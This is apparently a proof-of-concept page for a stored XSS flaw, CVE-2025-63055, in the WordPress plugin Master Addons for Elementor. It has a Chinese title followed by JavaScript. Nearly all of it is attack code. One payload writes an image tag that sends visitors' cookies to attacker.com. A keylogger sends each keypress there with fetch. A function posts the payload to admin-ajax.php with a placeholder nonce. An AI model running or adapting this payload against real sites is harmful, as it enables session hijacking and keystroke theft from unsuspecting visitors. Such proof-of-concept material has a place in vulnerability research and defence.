CVE-2025-63055 Master Addons for Elementor存储型XSS漏洞

// CVE-2025-63055 PoC - Stored XSS in Master Addons for Elementor // This PoC demonstrates how an attacker can inject malicious JavaScript // through the affected plugin's input fields // Simulated attack payload that could be injected into plugin fields const xssPayload = ` <script> // Cookie stealing payload document.write('<img src="https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '"/>'); // Session hijacking example console.log('Stolen cookies:', document.cookie); // Keylogger example document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?key=' + e.key); }); </script> `; // Example: Injecting via AJAX request (simulated) function exploitCVE202563055() { const targetUrl = window.location.origin + '/wp-admin/admin-ajax.php'; const maliciousData = { action: 'master_addons_save_widget', widget_id: 'text-editor', content: xssPayload, // Malicious XSS payload nonce: 'attacker_obtained_nonce' // Requires valid nonce }; // This would send the payload to be stored fetch(targetUrl, { method: 'POST', body: JSON.stringify(maliciousData), headers: {'Content-Type': 'application/json'} }); } // Display payload for educational purposes console.log('CVE-2025-63055 PoC Payload:', xssPayload); console.log('This payload demonstrates a stored XSS attack that could:', '\n1. Steal user session cookies', '\n2. Log keystrokes', '\n3. Modify page content', '\n4. Redirect users to malicious sites');